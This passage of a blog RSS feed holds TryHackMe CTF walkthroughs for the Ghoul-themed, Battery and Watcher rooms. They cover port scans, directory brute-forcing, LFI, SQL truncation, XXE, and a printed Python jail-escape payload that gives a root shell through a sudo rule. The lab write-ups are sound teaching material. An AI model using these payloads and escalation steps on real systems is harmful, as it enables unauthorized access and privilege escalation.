it</li></ul><pre>./need_to_talk                                                                                                                                                                           <br>Hey Kaneki finnaly you want to talk <br>Unfortunately before I can give you the kagune you need to give me the paraphrase<br>Do you have what I&#39;m looking for?<br><br>&gt; kamishiro<br>Good job. I believe this is what you came for:<br>You_found_1t</pre><ul><li>Here I found one more clue in the form of <strong>You_found_1t</strong></li></ul><p>When I extract information from this jpg file, I got another file</p><pre>steghide extract -sf rize_and_kaneki.jpg -p You_found_1t<br>wrote extracted data to &quot;yougotme.txt&quot;.</pre><pre>cat yougotme.txt<br>haha you are so smart kaneki but can you talk my code <br><br>..... .-<br>....- ....-<br>....- -....<br>--... ----.<br>....- -..<br>...-- ..---<br>....- -..<br>...-- ...--<br>....- -..<br>....- ---..<br>....- .-<br>...-- .....<br>..... ---..<br>...-- ..---<br>....- .<br>-.... -.-.<br>-.... ..---<br>-.... .<br>..... ..---<br>-.... -.-.<br>-.... ...--<br>-.... --...<br>...-- -..<br>...-- -..<br><br></pre><ul><li>This is a morse code now let’s see how we decode it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*J5w00o6MHSZ7K5jYix_Gow.png" /></figure><ul><li>When I decode it , I got these Base64 decoded Characters</li><li>Convert it from <strong>hex to ASCII</strong>:</li></ul><pre>echo 5A4446794D324D334D484A3558324E6C626E526C63673D3D | xxd -r -p</pre><ul><li>You’ll get:</li></ul><pre>ZDFyM2M3MHJ5X2NlbnRlcg==</pre><p>Now decode it from <strong>base64</strong>:</p><pre>echo ZDFyM2M3MHJ5X2NlbnRlcg== | base64 -d</pre><p>✅ Final result:</p><pre>d1r3c70ry_center</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kLaA3TJfpuU9wUQk_yNGyw.png" /></figure><ul><li>This is the page I got when I went there</li><li>Afer it I did directory bruteforcing , Found a Endpoint <strong>/claim</strong> there</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgvAganZgQW8XbnU8vUWYg.png" /></figure><ul><li>This type of page appears</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l6EBc47lP5CM8VpZITYfug.png" /></figure><ul><li>Looks like there we got the <strong>Local file inclusion</strong> but it is not showing the results , let’s try to url encode</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p27FTlDWqttwK4AbIakg7w.png" /></figure><ul><li>There u see we got the hash value of kamishiro now When I decrypt this hash , I got the password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAfKem5CoQ_QzoK8k8dDJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPSmkDyYiz9lNrdKThWx4Q.png" /></figure><ul><li>This is how we got our password , Now we login it via ssh</li></ul><h3>User Flag Discovery</h3><pre>ssh kamishiro@10.10.153.90<br>The authenticity of host &#39;10.10.153.90 (10.10.153.90)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:oo//h4aM0BBJSlV7s7eejBvC/3yzDDk/PL7KIK6mewQ.<br>This host key is known by the following other names/addresses:<br>    ~/.ssh/known_hosts:7: [hashed name]<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes <br>Warning: Permanently added &#39;10.10.153.90&#39; (ED25519) to the list of known hosts.<br>kamishiro@10.10.153.90&#39;s password: <br>Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-197-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br><br>This system is built by the Bento project by Chef Software<br>More information can be found at https://github.com/chef/bento<br><br>The programs included with the Ubuntu system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br>applicable law.<br><br><br>The programs included with the Ubuntu system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br>applicable law.<br><br>Last login: Sat Jan 23 22:29:38 2021 from 192.168.77.1<br>kamishiro@vagrant:~$ ls -la<br>total 16<br>drwxr-xr-x 2 root root 4096 Jan 23  2021 .<br>drwxr-xr-x 4 root root 4096 Jan 23  2021 ..<br>-rw-r--r-- 1 root root  588 Jan 23  2021 jail.py<br>-rw-r--r-- 1 root root   33 Jan 23  2021 user.txt</pre><ul><li>This is how we got the user.txt just use cat command and ur able to that user flag</li></ul><h3>Root Flag Discoverey</h3><pre>kamishiro@vagrant:~$ sudo -l<br>[sudo] password for kamishiro: <br>Matching Defaults entries for kamishiro on vagrant.vm:<br>    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User kamishiro may run the following commands on vagrant.vm:<br>    (ALL) /usr/bin/python3 /home/kamishiro/jail.py</pre><ul><li>We can run <strong>jail.py </strong>only as root</li></ul><p>Let’s see inside it :</p><pre>kamishiro@vagrant:~$ cat /home/kamishiro/jail.py<br>#! /usr/bin/python3<br>#-*- coding:utf-8 -*-<br>def main():<br>    print(&quot;Hi! Welcome to my world kaneki&quot;)<br>    print(&quot;========================================================================&quot;)<br>    print(&quot;What ? You gonna stand like a chicken ? fight me Kaneki&quot;)<br>    text = input(&#39;&gt;&gt;&gt; &#39;)<br>    for keyword in [&#39;eval&#39;, &#39;exec&#39;, &#39;import&#39;, &#39;open&#39;, &#39;os&#39;, &#39;read&#39;, &#39;system&#39;, &#39;write&#39;]:<br>        if keyword in text:<br>            print(&quot;Do you think i will let you do this ??????&quot;)<br>            return;<br>    else:<br>        exec(text)<br>        print(&#39;No Kaneki you are so dead&#39;)<br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><ul><li>This is python jail, now we have to see how we paas this hurden , I searched it on google various places then found this :</li></ul><pre>__builtins__.__dict__[&#39;__IMPORT__&#39;.lower()](&#39;OS&#39;.lower()).__dict__[&#39;SYSTEM&#39;.lower()](&#39;/bin/bash&#39;)</pre><ul><li>This is how we can bypaas the Python jail , Let’s see and execute it</li></ul><pre>kamishiro@vagrant:~$ sudo /usr/bin/python3 /home/kamishiro/jail.py<br>[sudo] password for kamishiro: <br>Hi! Welcome to my world kaneki<br>========================================================================<br>What ? You gonna stand like a chicken ? fight me Kaneki<br>&gt;&gt;&gt; __builtins__.__dict__[&#39;__IMPORT__&#39;.lower()](&#39;OS&#39;.lower()).__dict__[&#39;SYSTEM&#39;.lower()](&#39;/bin/bash&#39;)<br>root@vagrant:~# cd root<br>bash: cd: root: No such file or directory<br>root@vagrant:~# cd /root<br>root@vagrant:/root# ls<br>root.txt</pre><ul><li>This is how u get ur root.txt Flag at the End</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lItxxTTztQsdaojpduXfFQ.png" /></figure><h3>🧠 Final Thoughts:</h3><p>This CTF was an insightful journey into the world of <strong>Local File Inclusion (LFI)</strong>, <strong>log poisoning</strong>, and <strong>post-exploitation enumeration</strong>. It reinforced the importance of thorough directory traversal, creative payload crafting, and understanding Linux privilege escalation paths. Each step — from identifying the vulnerability to gaining a shell and rooting the machine — was a valuable learning experience.</p><h3>Thank you soo much for Reading it</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bab94ef015de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Battery CTF
Web Enumeration | Reverse Shell | Priv Esc]]></title>
            <link>https://piyushbansal14.medium.com/tryhackme-battery-ctf-web-enumeration-reverse-shell-priv-esc-295a142f6945?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/295a142f6945</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Sat, 28 Jun 2025 11:51:53 GMT</pubDate>
            <atom:updated>2025-06-28T11:51:53.640Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Mo8Wn8AOy0syQX2Q668RQ.png" /></figure><h3>What You’ll Learn in This Walkthrough</h3><p>In this TryHackMe Battery CTF walkthrough, we will explore several key exploitation techniques, including:</p><ul><li>Exploiting XML injection to access sensitive data</li><li>Understanding and leveraging SQL TRUNCATE logic flaws</li><li>Bypassing authentication mechanisms using crafted payloads</li><li>Performing Linux privilege escalation through misconfigurations</li></ul><h3>Enumeration</h3><h3>Rustscan</h3><pre>rustscan -a 10.10.78.56-- -A <br>Explanation:<br><br>rustscan: Runs the RustScan port scanner.<br><br>-a 10.10.78.56: Specifies the target IP address.<br><br>--: Passes the next arguments directly to nmap.<br><br>-A: Tells nmap to perform an aggressive scan (includes OS detection, version detection, script scanning, and traceroute).</pre><pre>rustscan -a 10.10.78.56 -- -A                                                                                                                                                                                                           <br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog         :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>You miss 100% of the ports you don&#39;t scan. - RustScan<br><br>[~] The config file is expected to be at &quot;/root/.rustscan.toml&quot;<br>[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers<br>[!] Your file limit is very small, which negatively impacts RustScan&#39;s speed. Use the Docker image, or up the Ulimit with &#39;--ulimit 5000&#39;. <br>Open 10.10.78.56:80<br>Open 10.10.78.56:22<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&quot; on ip 10.10.78.56<br>Depending on the complexity of the script, results may take some time to appear.<br>[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 06:07 EDT<br>NSE: Loaded 157 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 06:07<br>Completed NSE at 06:07, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 06:07<br>Completed NSE at 06:07, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 06:07<br>Completed NSE at 06:07, 0.00s elapsed<br>Initiating Ping Scan at 06:07<br>Scanning 10.10.78.56 [4 ports]<br>Completed Ping Scan at 06:07, 0.25s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 06:07<br>Completed Parallel DNS resolution of 1 host. at 06:07, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating SYN Stealth Scan at 06:07<br>Scanning 10.10.78.56 (10.10.78.56) [2 ports]<br>Discovered open port 80/tcp on 10.10.78.56<br>Discovered open port 22/tcp on 10.10.78.56<br>Completed SYN Stealth Scan at 06:07, 0.20s elapsed (2 total ports)<br>Initiating Service scan at 06:07<br>Scanning 2 services on 10.10.78.56 (10.10.78.56)<br>Completed Service scan at 06:08, 6.39s elapsed (2 services on 1 host)<br>Initiating OS detection (try #1) against 10.10.78.56 (10.10.78.56)<br>Initiating Traceroute at 06:08<br>Completed Traceroute at 06:08, 3.02s elapsed<br>Initiating Parallel DNS resolution of 1 host. at 06:08<br>Completed Parallel DNS resolution of 1 host. at 06:08, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]<br>NSE: Script scanning 10.10.78.56.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 06:08<br>Completed NSE at 06:08, 8.53s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 06:08<br>Completed NSE at 06:08, 0.81s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 06:08<br>Completed NSE at 06:08, 0.00s elapsed<br>Nmap scan report for 10.10.78.56 (10.10.78.56)<br>Host is up, received reset ttl 60 (0.20s latency).<br>Scanned at 2025-06-28 06:07:54 EDT for 22s<br><br>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 60 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)<br>| ssh-dss AAAAB3NzaC1kc3MAAACBAPe2PVDHBBlUCEtHNVxjToY/muZpZ4hrISDM7fuGOkh/Lp9gAwpEh24Y/u197WBDTihDJsDZJqrJEJSWbpiZgReyh1LtJTt3ag8GrUUDJCNx6lLUIWR5iukdpF7A2EvV4gFn7PqbmJmeeQRtB+vZJSp6VcjEG0wYOcRw2Z6N6ho3AAAAFQCg45+RiUGvOP0QLD6PPtrMfuzdQQAAAIEAxCPXZB4BiX72mJkKcVJPkqBkL3t+KkkbDCtICWi3d88rOqPAD3yRTKEsASHqSYfs6PrKBd50tVYgeL+ss9bP8liojOI7nP0WQzY2Zz+lfPa+d0uzGPcUk0Wg3EyLLrZXipUg0zhPjcXtxW9+/H1YlnIFoz8i/WWJCVaUTIR3JOoAAACBAMJ7OenvwoThUw9ynqpSoTPKYzYlM6OozdgU9d7R4XXgFXXLXrlL0Fb+w7TT4PwCQO1xJcWp5xJHi9QmXnkTvi386RQJRJyI9l5kM3E2TRWCpMMQVHya5L6PfWKf08RYGp0r3QkQKsG1WlvMxzLCRsnaVBqCLasgcabxY7w6e2EM<br>|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkDLTds2sLmn9AZ0KAl70Fu5gfx5T6MDJehrsCzWR3nIVczHLHFVP+jXDzCcB075jjXbb+6IYFOdJiqgnv6SFxk85kttdvGs/dnmJ9/btJMgqJI0agbWvMYlXrOSN26Db3ziUGrddEjTT74Z1kokg8d7uzutsfZjxxCn0q75NDfDpNNMLlstOEfMX/HtOUaLQ47IeuSpaQoUkNkHF2SGoTTpbC+avzcCNHRIZEwQ6HdA3vz1OY6TnpAk8Gu6st9XoDGblGt7xv1vyt0qUdIYaKib8ZJQyj1vb+SJx6dCljix4yDX+hbtyKn08/tRfNeRhVSIIymOTxSGzBru2mUiO5<br>|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYHRWUDqeSQgon8sLFyvLMQygCx01yXZR6kxiT/DnZU+3x6QmTUir0HaiwM/n3aAV7eGigds0GPBEVpmnw6iu4=<br>|   256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILW7vyhbG1WLLhSEDM0dPxFisUrf7jXiYWNSTqw6Exri<br>80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.7 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.7 (Ubuntu)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 4.X|5.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel:5.4<br>OS details: Linux 4.4, Linux 5.4<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.95%E=4%D=6/28%OT=22%CT=%CU=36967%PV=Y%DS=5%DC=T%G=N%TM=685FBF10<br>OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(<br>OS:O1=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11<br>OS:NW6%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(<br>OS:R=Y%DF=Y%T=40%W=6903%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS<br>OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=<br>OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=<br>OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T<br>OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=<br>OS:S)<br><br>Uptime guess: 0.006 days (since Sat Jun 28 06:00:08 2025)<br>Network Distance: 5 hops<br>TCP Sequence Prediction: Difficulty=259 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 443/tcp)<br>HOP RTT       ADDRESS<br>1   40.65 ms  10.17.0.1 (10.17.0.1)<br>2   ... 4<br>5   181.65 ms 10.10.78.56 (10.10.78.56)<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 06:08<br>Completed NSE at 06:08, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 06:08<br>Completed NSE at 06:08, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 06:08<br>Completed NSE at 06:08, 0.00s elapsed<br>Read data files from: /usr/share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 22.72 seconds<br>           Raw packets sent: 48 (2.898KB) | Rcvd: 25 (1.742KB)</pre><h3>After it , I go for Dirsearch Tool for Directory Bruteforcing</h3><pre>dirscan -u http://10.10.78.56 -e php,html,txt,js,bak,zip,log,conf,inc -x 403,404<br>/root/tools/dirsearch/lib/core/installation.py:24: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&lt;81.<br>  import pkg_resources                                                                                                                                                                                                                      <br>                                                                                                                                                                                                                                            <br>  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                                                                            <br> (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                     <br>                                                                                                                                                                                                                                            <br>Extensions: php, html, txt, js, bak, zip, log, conf, inc | HTTP method: GET | Threads: 25 | Wordlist size: 13931                                                                                                                            <br>                                                                                                                                                                                                                                            <br>Target: http://10.10.78.56/                                                                                                                                                                                                                 <br>                                                                                                                                                                                                                                            <br>[06:00:22] Scanning:                                                                                                                                                                                                                        <br>[06:01:06] 200 -   663B - /admin.php                                        <br>[06:01:42] 302 -   908B - /dashboard.php  -&gt;  admin.php                     <br>[06:01:53] 200 -    2KB - /forms.php                                        <br>[06:01:58] 200 -   406B - /index.html                                       <br>[06:02:09] 302 -     0B - /logout.php  -&gt;  admin.php                        <br>[06:02:30] 200 -   715B - /register.php                                     <br>[06:02:31] 200 -   17KB - /report                                           <br>[06:02:33] 301 -   311B - /scripts  -&gt;  http://10.10.78.56/scripts/         <br>[06:02:33] 200 -    2KB - /scripts/    </pre><ul><li>These are the different Endpoints , there are some other point also which are found by me using the FFUF also</li></ul><p>Now Let’s try to visit these endpoints and see what we are going to see there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBb1DIPLK2b8bOgPTBc6dA.png" /></figure><ul><li>When I make out the account using /register.php and then login , there is that /acc.php page I m not make to access in it</li></ul><p>Now I try to go on some other endpoints also and try to see there which more things I can found out :</p><p>I found out this Endpoint Interesting which is <em>/</em><strong><em>report</em></strong></p><pre>curl http://10.10.78.56/report --output report.txt<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100 16912  100 16912    0     0  23548      0 --:--:-- --:--:-- --:--:-- 23554<br></pre><ul><li>Here Firstly I curl this request and the output goes in the report.txt File</li><li>file report.txt<br>report.txt: ELF 64-bit LSB pie executable, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped</li><li>This is the Information shows When I use the file command</li></ul><pre>strings report.txt<br>/lib64/ld-linux-x86-64.so.2<br>__isoc99_scanf<br>puts<br>printf<br>system<br>__cxa_finalize<br>strcmp<br>__libc_start_main<br>libc.so.6<br>GLIBC_2.7<br>GLIBC_2.2.5<br>_ITM_deregisterTMCloneTable<br>__gmon_start__<br>_ITM_registerTMCloneTable<br>u/UH<br>[]A\A]A^A_<br>admin@bank.a<br>Password Updated Successfully!<br>Sorry you can&#39;t update the password<br>Welcome Guest<br>===================Available Options==============<br>1. Check users<br>2. Add user<br>3. Delete user<br>4. change password<br>5. Exit<br>clear<br>===============List of active users================<br>support@bank.a<br>contact@bank.a<br>cyber@bank.a<br>admins@bank.a<br>sam@bank.a<br>admin0@bank.a<br>super_user@bank.a<br>control_admin@bank.a<br>it_admin@bank.a<br>Welcome To ABC DEF Bank Managemet System!<br>UserName : <br>Password : <br>guest<br>Your Choice : <br>email : <br>not available for guest account<br>Wrong option<br>Wrong username or password<br>;*3$&quot;<br>GCC: (Debian 9.3.0-15) 9.3.0<br>crtstuff.c<br>deregister_tm_clones<br>__do_global_dtors_aux<br>completed.7452<br>__do_global_dtors_aux_fini_array_entry<br>frame_dummy<br>__frame_dummy_init_array_entry<br>report.c<br>__FRAME_END__<br>__init_array_end<br>_DYNAMIC<br>__init_array_start<br>__GNU_EH_FRAME_HDR<br>_GLOBAL_OFFSET_TABLE_<br>__libc_csu_fini<br>update<br>_ITM_deregisterTMCloneTable<br>puts@@GLIBC_2.2.5<br>_edata<br>options<br>system@@GLIBC_2.2.5<br>users<br>printf@@GLIBC_2.2.5<br>__libc_start_main@@GLIBC_2.2.5<br>__data_start<br>strcmp@@GLIBC_2.2.5<br>__gmon_start__<br>__dso_handle<br>_IO_stdin_used<br>__libc_csu_init<br>__bss_start<br>main<br>__isoc99_scanf@@GLIBC_2.7<br>__TMC_END__<br>_ITM_registerTMCloneTable<br>__cxa_finalize@@GLIBC_2.2.5<br>.symtab<br>.strtab<br>.shstrtab<br>.interp<br>.note.gnu.build-id<br>.note.ABI-tag<br>.gnu.hash<br>.dynsym<br>.dynstr<br>.gnu.version<br>.gnu.version_r<br>.rela.dyn<br>.rela.plt<br>.init<br>.plt.got<br>.text<br>.fini<br>.rodata<br>.eh_frame_hdr<br>.eh_frame<br>.init_array<br>.fini_array<br>.dynamic<br>.got.plt<br>.data<br>.bss<br>.comment<br><br></pre><p>Here I get different Information but the information I like is about the usernames here , Here we got the admin and other users username</p><p>Here At the admin panel, there is one more vulnerability :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83zG2jbMTMCLzkzQC6AEIg.png" /></figure><ul><li>There is a fixed amount of characters u can enter into the username I think it’s 14 , This is a <strong>SQL Truncation Vulnerability</strong> which we are going to exploit it now let’s see</li></ul><p>Firstly , Let’s see what happens when we try to register this admin username there<strong><em> admin@bank.a </em></strong>in the register page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7YIkRrqoAFharzKhLLE5bA.png" /></figure><ul><li>This is coming when we try to login with that admin username . Now exploiting this vulnerability:</li></ul><p>This vulnerability we exploit by exceed the character limit in burp by adding space and let’s see if we are successly registered or not</p><ul><li>This is the Original Request in burp when we intercept but by adding the spaces and all then the request goes on like that in burp:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWLLRt3z4oASJtgt5z1rUw.png" /></figure><ul><li>This is how it goes and u see we are able to Register down Successfully here in this page</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H_wVpbeeWOgjNGrF42RmBA.png" /></figure><p>Now Let’s try to login in with this <strong><em>admin@bank.a</em></strong></p><p>When I go to that <strong>/forms.php, </strong>I saw this xml codes there and here I strike to certain to do certain things with this xml code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-crVOabO2nj6EInhXT3vfw.png" /></figure><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/Intruders/xml-attacks.txt">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/Intruders/xml-attacks.txt</a></p><p>Above link is of Different payloads which u can try and put in this xml code block</p><p>I try to use that thing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlKEC8XjAyfseqG-GOjRbQ.png" /></figure><ul><li>When I try to find the /acc.php thing , I got this:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HETDhErFFyBU1HqCdAx3UA.png" /></figure><ul><li>Now I try to decode this thing and guess I got the credentials:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wG1KlG70VBannt298YIYWw.png" /></figure><h3><strong>Discovery of Base Flag</strong></h3><p>I got the credentials I logged via the ssh and I got my base flag through it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*BjpqAytIcrx1IKifptjQHw.png" /></figure><h3>Discoverey of User and Root Flag (Privilege Escalation)</h3><blockquote>Firstly I run the sudo -l command for draw the permission and it give me that</blockquote><pre>cyber@ubuntu:~$ sudo -l<br>Matching Defaults entries for cyber on ubuntu:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin<br><br>User cyber may run the following commands on ubuntu:<br>    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py</pre><p>I can run this run.py with no password when I see its permission</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*rCsHJxdzRhUI6iFoHawHZw.png" /></figure><ul><li>There is no permission listed out for us as the cyber user . Now I try to execute some other commands and then mv command works here and I push that file to piyush.txt and Elevate the shell permission into the run.py and execute it . As soon as I execute, I got the root level permission</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EP7CVjAcST4wYVq1z58LFg.png" /></figure><ul><li>This is how we got both of the user and root flag</li></ul><h3>Final Thoughts</h3><p>That wraps up the Battery CTF. We covered key concepts like XML injection, SQL truncation, directory fuzzing, and privilege escalation — and found all the flags along the way. It’s a solid room for learning web-to-root exploitation. Keep practicing and stay sharp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5N1hrel-EjUDdBIKC1GCw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=295a142f6945" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Watcher — TryHackMe Walkthrough | Medium Linux CTF”]]></title>
            <link>https://piyushbansal14.medium.com/watcher-tryhackme-walkthrough-medium-linux-ctf-a8fad2512219?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8fad2512219</guid>
            <category><![CDATA[ctflearn]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Wed, 25 Jun 2025 10:26:12 GMT</pubDate>
            <atom:updated>2025-06-25T10:26:12.410Z</atom:updated>
            <content:encoded><![CDATA[<h3>Watcher — TryHackMe Walkthrough | Medium Linux CTF”</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r2c6VavDHTVCc9ia0a-UXw.png" /></figure><h3><strong>Enumeration</strong></h3><h4><strong>Source Code Review</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHLQClWlG8P-TaREklgvVQ.png" /></figure><ul><li>When I Put up that IP Address this kind of interface coming towards me. The step up I check about its source code and from source code I got something interesting here</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*-PxgQ26hWN-QsCZlRCBq-g.png" /></figure><ul><li>This kind of link appears here in the source code I decided to go there and Check What I will found there in this link</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wColoohgkMbKPueKt_UrUA.png" /></figure><ul><li>This type of page appears when I open this url , We will try to go further into it after it done some more manual Enumeration</li></ul><p><strong>2. Use of Rustscan</strong></p><blockquote><em>🔍 </em><strong><em>RustScan</em></strong><em> is a lightning-fast port scanner written in Rust that quickly identifies open ports and seamlessly integrates with </em><em>nmap for deeper enumeration. It’s ideal for speeding up the initial recon phase in CTFs.</em></blockquote><pre>rustscan -a 